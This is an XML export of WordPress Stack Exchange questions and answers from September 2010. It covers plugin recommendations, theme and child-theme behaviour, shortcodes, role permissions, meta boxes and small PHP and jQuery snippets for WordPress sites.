  <row Id="2000" PostTypeId="1" AcceptedAnswerId="2024" CreationDate="2010-09-20T11:21:01.397" Score="-3" ViewCount="193" Body="&lt;p&gt;I need a plugin like google tasks, in which we can add in to do tasks on the wordpress page&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-09-20T21:49:39.263" Title="I need a plugin in wordpress like google tasks" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="2001" PostTypeId="2" ParentId="2000" CreationDate="2010-09-20T11:44:58.283" Score="0" ViewCount="" Body="&lt;p&gt;You can try &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-note/&quot; rel=&quot;nofollow&quot;&gt;wp-note&lt;/a&gt; though it's not as close as google notebook. Because, this plugin will link your notes to posts.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-09-20T11:44:58.283" />
  <row Id="2002" PostTypeId="1" AcceptedAnswerId="2017" CreationDate="2010-09-20T11:48:29.177" Score="0" ViewCount="722" Body="&lt;p&gt;I need a plugin which can do horizontal scrolling of RSS feeds in wordpress, I have got a vertical scrolling RSS feeds but cannot find a horizontal one&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T00:34:05.120" LastActivityDate="2010-09-24T00:34:05.120" Title="Which plugin can do horizontal scrolling of RSS feeds in WordPress" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;javascript&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="2003" PostTypeId="1" AcceptedAnswerId="2005" CreationDate="2010-09-20T12:52:22.297" Score="2" ViewCount="134" Body="&lt;p&gt;I saw this message today when accessing my plugin page:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/v1SP2.png&quot; alt=&quot;custom plugin update message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I create this if I want to update my own plugins that's hosted on wordpress?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-05-25T19:38:53.757" Title="How to create custom message on plugin update" Tags="&lt;plugins&gt;&lt;update&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2004" PostTypeId="2" ParentId="1810" CreationDate="2010-09-20T13:02:46.537" Score="0" ViewCount="" Body="&lt;p&gt;As I've stated in updates to my question...other javascript working on the page conflicts with the anchor jump.  I implimented &lt;em&gt;more&lt;/em&gt; js to work around the conflict.  The url almost looks the same as before, but with a parameter name inserted before the pound symbol, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/?cat=15&amp;amp;hi=#post-170&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I use jQuery-Howto's &lt;a href=&quot;http://jquery-howto.blogspot.com/2009/09/get-url-parameters-values-with-jquery.html&quot; rel=&quot;nofollow&quot;&gt;'plugin' to get url parameters.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.extend({&#xA;    getUrlVars: function(){&#xA;    var vars = [], hash;&#xA;    var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&amp;amp;');&#xA;&#xA;    for(var i = 0; i &amp;lt; hashes.length; i++)&#xA;    {&#xA;        hash = hashes[i].split('=');&#xA;        vars.push(hash[0]);&#xA;        vars[hash[0]] = hash[1];&#xA;    }&#xA;&#xA;    return vars;&#xA;},&#xA;getUrlVar: function(name){&#xA;            return $.getUrlVars()[name];&#xA;        }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I retrieve the post number assigned to the 'hi' url parameter and scroll to 20px above the post with the same id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //'hi' var used to jump to anchor          &#xA;    var hi = $.getUrlVar('hi');&#xA;&#xA;    if  ( hi ) {&#xA;        //scroll to link or search results if url var 'hi' is present&#xA;        $(window).scrollTop($(hi).position().top-20); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the jquery plugin code and my custom code above go in my javascript file which is included in header.php&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2011-01-21T12:31:58.027" LastActivityDate="2011-01-21T12:31:58.027" CommentCount="3" />
  <row Id="2005" PostTypeId="2" ParentId="2003" CreationDate="2010-09-20T13:08:30.377" Score="3" ViewCount="" Body="&lt;p&gt;This message is created by &lt;code&gt;W3_Total_Cache-&amp;gt;in_plugin_update_message()&lt;/code&gt; hooked to &lt;code&gt;&quot;in_plugin_update_message-$file&quot;&lt;/code&gt;in &lt;code&gt;wp_plugin_update_row()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does some nifties to parse readme and display info from changelog, but overall you can just echo some stuff as with any other hook.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T13:08:30.377" CommentCount="1" />
  <row Id="2006" PostTypeId="1" AcceptedAnswerId="3260" CreationDate="2010-09-20T13:08:36.007" Score="2" ViewCount="56" Body="&lt;p&gt;We were using WPMU version 2.9.1, in which we had a plugin - Fimii WPMU Stats mu-plugin - that showed us last updated blogs, and newest blogs.&lt;br&gt;&#xA;We now upgraded to Wodpress 3.0, and the commands for the plugin don't work anymore. Does anyone know of a replacement for that plugin? Or something else that will show the data?&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-20T20:27:13.717" LastActivityDate="2010-10-25T11:20:56.757" Title="How to get last_updated and newest_blogs in WP 3.0" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="2007" PostTypeId="5" CreationDate="2010-09-20T13:11:09.670" Score="0" ViewCount="0" Body="&lt;p&gt;&lt;br /&gt;&#xA; &lt;strong&gt;Where can I search for and learn about WordPress Plugins?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;The WordPress.org Plugin Repository&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://weblogtoolscollection.com/&quot; rel=&quot;nofollow&quot;&gt;Weblog Tools Collection&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://lorelle.wordpress.com/2010/08/31/mind-blowing-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;Lorrelle's Mind Blowing WordPress Plugins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordcastnet.com/topic/podcasts/pluginpicks/&quot; rel=&quot;nofollow&quot;&gt;WordCast Plugin Picks Podcast&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.pluginspodcast.com/&quot; rel=&quot;nofollow&quot;&gt;The WordPress Plugins Podcast with Angelo Mandato&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What kind of questions should I tag with Plugin-Recommendation?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use the tag for specific questions related to finding a great plugin that extends WordPress and solves your problem.  You should thoroughly explain what you need the plugin to do and list any other solutions you might have tried or might not have worked.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example of a quality Plugin-Recommendation question:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/654/what-is-a-good-jquery-content-slider-plugin&quot;&gt;What is a good jQuery content slider plugin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a quality Plugin-Recommendation question because the asker took the time to explain what he needed the plugin to do and he also gave reasons why other plugins he tried didn't work for his needs.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-20T13:11:09.670" LastActivityDate="2010-09-20T13:11:09.670" />
  <row Id="2008" PostTypeId="4" CreationDate="2010-09-20T13:11:09.670" Score="0" ViewCount="0" Body="Plugins extend WordPress to do almost anything you can imagine. If you need a recommendation on a plugin to solve a specific task this is the tag to use.  Give some examples of other plugins you have tried and might not of worked out and give specific reasons and examples of what you want to accomplish." OwnerUserId="-1" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-20T13:11:09.670" LastActivityDate="2010-09-20T13:11:09.670" />
  <row Id="2009" PostTypeId="1" AcceptedAnswerId="2010" CreationDate="2010-09-20T13:15:22.187" Score="4" ViewCount="201" Body="&lt;p&gt;In a site I have using Wordpress 3.0, when I'm in a single post, the navbar showing the categories doesn't give the parent category the class of &quot;current_cat&quot; and therefore that category is not highlighted.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make Wordpress give the parent category that class in single_post mode?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2010-09-20T13:20:11.243" Title="How to get current_cat in navbar, in single post" Tags="&lt;3.0&gt;&lt;categories&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2010" PostTypeId="2" ParentId="2009" CreationDate="2010-09-20T13:20:11.243" Score="4" ViewCount="" Body="&lt;p&gt;I found the answer &lt;a href=&quot;http://www.studiograsshopper.ch/code-snippets/dynamic-category-menu-highlighting-for-single-posts/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;Add to functions.php the following function and hook:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sgr_show_current_cat_on_single($output) {&#xA;&#xA;global $post;&#xA;&#xA;if( is_single() ) {&#xA;&#xA;    $categories = wp_get_post_categories($post-&amp;gt;ID);&#xA;&#xA;    foreach( $categories as $catid ) {&#xA;        $cat = get_category($catid);&#xA;        // Find cat-item-ID in the string&#xA;        if(preg_match('#cat-item-' . $cat-&amp;gt;cat_ID . '#', $output)) {&#xA;            $output = str_replace('cat-item-'.$cat-&amp;gt;cat_ID, 'cat-item-'.$cat-&amp;gt;cat_ID . ' current-cat', $output);&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;return $output;&#xA;}&#xA;&#xA;add_filter('wp_list_categories', 'sgr_show_current_cat_on_single');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2010-09-20T13:20:11.243" CommentCount="1" />
  <row Id="2011" PostTypeId="2" ParentId="1992" CreationDate="2010-09-20T14:00:09.480" Score="2" ViewCount="" Body="&lt;p&gt;Something like this?..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( has_post_thumbnail()) { ?&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;post-thumb&quot;&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;post-entry-1&quot;&amp;gt;&#xA;              &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;? } else { ?&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;post-entry-2&quot;&amp;gt;&#xA;              &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;no-data&quot;&amp;gt;&#xA;        &amp;lt;?php _e( 'Apologies, but no results were found.' ); ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T14:00:09.480" CommentCount="12" />
  <row Id="2012" PostTypeId="1" CreationDate="2010-09-20T14:11:03.507" Score="0" ViewCount="91" Body="&lt;p&gt;I followed the practice of creating a sub-theme (child theme) but I discovered that I lost some configuration I made:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;main custom header lost, but it remained for pages where it was customized, I had to upload it again.&lt;/li&gt;&#xA;&lt;li&gt;menu customization: primary navigation menu assignment was lost, but the menus did not so it was easy to reassign it. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are any other side effects like the one above?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these &lt;strong&gt;bugs or expected behavior&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I added a new directory in themes, created style.css with &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;requested header&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Activated the new theme in WordPress (running in multi-site mode)&lt;/li&gt;&#xA;&lt;li&gt;Observed the issues above&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="944" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-20T18:23:17.660" LastActivityDate="2010-09-20T18:23:17.660" Title="Losing theme customization when switching from a theme to a child" Tags="&lt;themes&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2013" PostTypeId="1" AcceptedAnswerId="2061" CreationDate="2010-09-20T14:31:05.307" Score="1" ViewCount="484" Body="&lt;p&gt;&lt;a href=&quot;http://www.woothemes.com/themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.woothemes.com/themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site sells WP themes. They have a paged gallery of their available themes along with a detail page for each we has a live demo of the theme as well as a means to buy it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a theme that I can use for showcasing my themes in a similar fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the theme has portfolio/catalogue tools built in (or works with 3rd party plugins) to allow...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Backend admin interface that easily allows themes to be added to the catalog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Front end theme templates that show a home page with featured products, main products, etc. Mostly graphical (not a blog, but allows a link to a blog inside the same site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the backend, Ideally I just want to be able to create a post and have that turned into a new theme for the catalog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I name the theme and provide a description, I'd be able to use custom field items to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Upload the theme files (to a protected directory)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Upload the theme preview image (automatically creates a thumbnail for the catalog and applies the &quot;FREE&quot; banner to the image or as an absolutely positioned overlay (if the theme is marked &quot;free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Has a widget in the post editor that allows the addition of an unlimited number of &quot;Unique Features&quot; similar to the Woothemes  &quot;Unique Features&quot; listing with a text blurb and a thumbnail image (I especially like the lightbox effect when you click on the thumbnail so that you can see the full image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) A spot for the Paypal link to purchase the theme. This link is automatically applied to the &quot;Buy Now&quot; button that's attached to the page.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-21T17:50:55.487" Title="Need theme portfolio/catalog similar to Woothemes.com/themes" Tags="&lt;theme-recommendation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="2014" PostTypeId="2" ParentId="2012" CreationDate="2010-09-20T15:18:51.183" Score="1" ViewCount="" Body="&lt;p&gt;Not sure about &quot;lost&quot; header. Was it part of markup? CSS background? Custom background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Losing menu assignments is normal behavior.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Child theme is &lt;strong&gt;not same theme as parent&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is completely &lt;strong&gt;separate theme, that uses parent as fall-back&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Child theme is loaded and processed before parent theme (yeah, seems a little backwards). Don't expect it to act simply as parent theme with some changes. It seems like that, but not quite that internally.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T15:18:51.183" CommentCount="2" />
  <row Id="2015" PostTypeId="2" ParentId="1997" CreationDate="2010-09-20T16:54:52.867" Score="2" ViewCount="" Body="&lt;p&gt;You may wish to check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/business-directory/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Business Directory WordPress plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2010-09-20T16:54:52.867" CommentCount="2" />
  <row Id="2016" PostTypeId="2" ParentId="1992" CreationDate="2010-09-20T18:27:12.163" Score="1" ViewCount="" Body="&lt;p&gt;One problem you may be having is that you have included an extra &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--Begin Post Entry--&amp;gt;&#xA;&amp;lt;div class=&quot;post-entry-2&quot;&amp;gt;&#xA;//your code&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--End Post Entry--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--End Post--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--this appears to be extra--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try fixing that and see what happens.  Your loop seems to be fine, just that posts are being displayed outside of your wrapper. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you are receiving is pointing to the fact that you haven't supplied any arguments to &lt;code&gt;query_posts&lt;/code&gt;.  Why are you using query_posts if you aren't supplying any arguments.  This function is only used when you intend to modify the default WP query.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-20T18:27:12.163" CommentCount="2" />
  <row Id="2017" PostTypeId="2" ParentId="2002" CreationDate="2010-09-20T19:31:00.307" Score="1" ViewCount="" Body="&lt;p&gt;Things that present headlines in a horizontal scroll tend to be called tickers. (Probably due to there resemblance to old-school ticker tape printers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, try these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/news-ticker/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/news-ticker/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-news-ticker-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-news-ticker-plugin/&lt;/a&gt; (may not do RSS)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/accessible-news-ticker/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/accessible-news-ticker/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They should all do pretty much the same thing, but they will differ in their appearance. If you don't mind about the appearance, I would recommend the first due to the ease of management.&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-20T19:31:00.307" CommentCount="2" />
  <row Id="2018" PostTypeId="1" AcceptedAnswerId="2046" CreationDate="2010-09-20T19:53:57.290" Score="2" ViewCount="258" Body="&lt;p&gt;I'm looking to reuse some small portions of html inside several pages/post but I don't know how to obtain this on WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if I could have a helper in the editor to include them, but this is only a nice to have feature, for the moment I need a solution for this.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-09-21T14:27:21.740" Title="How do I add my own custom shortcodes?" Tags="&lt;shortcode&gt;" AnswerCount="3" />
  <row Id="2019" PostTypeId="2" ParentId="2018" CreationDate="2010-09-20T20:03:36.007" Score="1" ViewCount="" Body="&lt;p&gt;Shortcodes work via &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Shortcode API&lt;/a&gt;. Essentially shortcode is just a human-friendly form of writing out data that is processed and passed to associated PHP function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So adding your own shortcode involves:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Coding PHP function that would process data, passed by API from shortcode.&lt;/li&gt;&#xA;&lt;li&gt;Registering that function as shortcode handler.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I also remember &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-utility-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;WP Utility Short Codes&lt;/a&gt; plugin was recommended in answer to some question while back as good way to insert snippets and such in editor.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T20:03:36.007" />
  <row Id="2020" PostTypeId="1" AcceptedAnswerId="2109" CreationDate="2010-09-20T20:09:28.250" Score="0" ViewCount="354" Body="&lt;p&gt;Long time lurker, but first time poster. I've searched Google extensively and just can't seem to come up with an answer on this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Justin Tadlock's excellent 'Members' plugin for roles and permissions on several client installations of WP. I've recently deployed a theme where the client should only have access to the Appearance -&gt; Menus item, but none of the others sub-items in the Appearance menu of the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When enabled, the role 'edit_theme_options' enables the user to access 'Themes', 'Widgets', and 'Menus'. How would I go about filtering the submenu so that if the role 'edit_custom_menus' is assigned, the 'Menus' link will show?&lt;/p&gt;&#xA;" OwnerUserId="947" LastEditorUserId="947" LastEditorDisplayName="" LastEditDate="2010-09-22T15:48:03.280" LastActivityDate="2010-12-21T17:30:51.170" Title="Applying roles to an admin sub-menu (eg Appearance -&gt; Menus)" Tags="&lt;permissions&gt;&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2021" PostTypeId="2" ParentId="2020" CreationDate="2010-09-20T20:24:43.953" Score="0" ViewCount="" Body="&lt;p&gt;I don't use plugin myself, so speaking theoretically. There are two parts to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Determine if user has role that can see menus. Plugin's documentation describes &lt;code&gt;current_user_has_role()&lt;/code&gt; function for this.&lt;/li&gt;&#xA;&lt;li&gt;Actually hiding menus if role doesn't fit. I don't have anything tested to offer, try this for starters: &lt;a href=&quot;http://www.wprecipes.com/how-to-remove-menus-in-wordpress-dashboard&quot; rel=&quot;nofollow&quot;&gt;How to remove menus in WordPress dashboard ( WpRecipes )&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T20:24:43.953" />
  <row Id="2022" PostTypeId="2" ParentId="1357" CreationDate="2010-09-20T21:05:40.247" Score="3" ViewCount="" Body="&lt;p&gt;Currently known ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use comments as input form. see the actual way described &lt;a href=&quot;http://creativebriefing.com/how-to-use-wordpress-to-build-a-website-with-user-generated-content/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The comments can be altered to have more fields and contain a WYSIWYG editor for better user experience.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; plugin to create a user-generated-data form. the users will fill the form, which will create a new draft post to be published by the site admin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a contact form plugin with wordpress &lt;a href=&quot;http://codex.wordpress.org/Post_to_your_blog_using_email&quot; rel=&quot;nofollow&quot;&gt;email publishing mechanism&lt;/a&gt;. Set the contact form destination as the email set up as wordpress &quot;feed&quot; email.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write your own form that publish posts. this is described nicely in &lt;a href=&quot;http://olykrap.com/post/creating-a-tell-your-story-page/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;. You create a page template that shows the publishing post, and uses the data to create a draft (or post) using &quot;insert_post&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using &lt;a href=&quot;http://www.gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;gravity forms&lt;/a&gt; plugin. One of the plugin features is to &quot;Allow users to automatically create a post&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setting the default user role as &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;contributer&lt;/a&gt;. Once set, you need to allow people to register &amp;amp; login to your site. every registered user can publish drafts to the site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-20T21:05:40.247" CommunityOwnedDate="2010-09-20T21:05:40.247" />
  <row Id="2023" PostTypeId="1" AcceptedAnswerId="2030" CreationDate="2010-09-20T21:19:52.787" Score="1" ViewCount="121" Body="&lt;p&gt;I am asking since I am trying to understand if this widget is causing my server to overuse CPU or memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But either way - it's interesting to know.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-21T05:08:49.767" Title="How often does the RSS widget get updates?" Tags="&lt;rss&gt;&lt;memory&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="2024" PostTypeId="2" ParentId="2000" CreationDate="2010-09-20T21:49:39.263" Score="1" ViewCount="" Body="&lt;p&gt;I don’t know Google Tasks. But a Task Manager I use on nearly every blog is &lt;a href=&quot;http://wordpress.org/extend/plugins/cleverness-to-do-list/&quot; rel=&quot;nofollow&quot;&gt;Cleverness To-Do List&lt;/a&gt;. You can order tasks by custom categories and by priority, assign tasks to specific users and set the progress for each task.&#xA;Really useful, saves me hundreds of mails from my clients. ;)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-20T21:49:39.263" CommentCount="3" />
  <row Id="2025" PostTypeId="1" AcceptedAnswerId="2355" CreationDate="2010-09-20T22:59:19.563" Score="1" ViewCount="435" Body="&lt;p&gt;Here is an interesting question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently noticed that if you utilize the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_meta_box('slugdiv', 'post', 'normal'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you are actually unable to modify the slug when you click on the url slug under the page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, when you use remove_meta_box for the slugdiv, the metabox and the screen options get removed however you are still able to click on the url under the post title to edit it... However, when you go to update/publish the post whatever modification you made does not take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is to remove the same metabox from the post edit screen AND remove it from the screen options page BUT I want to ensure that when you edit the slug under the post title that this still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide a solution to this problem? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-30T00:55:23.743" LastActivityDate="2010-09-30T05:48:26.910" Title="Removing Metabox for &quot;Slug&quot; without removing functionality" Tags="&lt;metabox&gt;&lt;slug&gt;&lt;customization&gt;&lt;functions&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" />
  <row Id="2026" PostTypeId="1" AcceptedAnswerId="2028" CreationDate="2010-09-20T23:01:07.823" Score="2" ViewCount="393" Body="&lt;p&gt;In the codex it lists the parameter $context for the add_meta_box as having the following options: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;normal&lt;/li&gt;&#xA;&lt;li&gt;advanced &lt;/li&gt;&#xA;&lt;li&gt;side  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What does &quot;advanced&quot; do?  I don't see any difference between it and &quot;normal&quot;.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-21T00:41:49.557" Title="What is the &quot;Advanced&quot; $context in add_meta_box?" Tags="&lt;metabox&gt;" AnswerCount="1" />
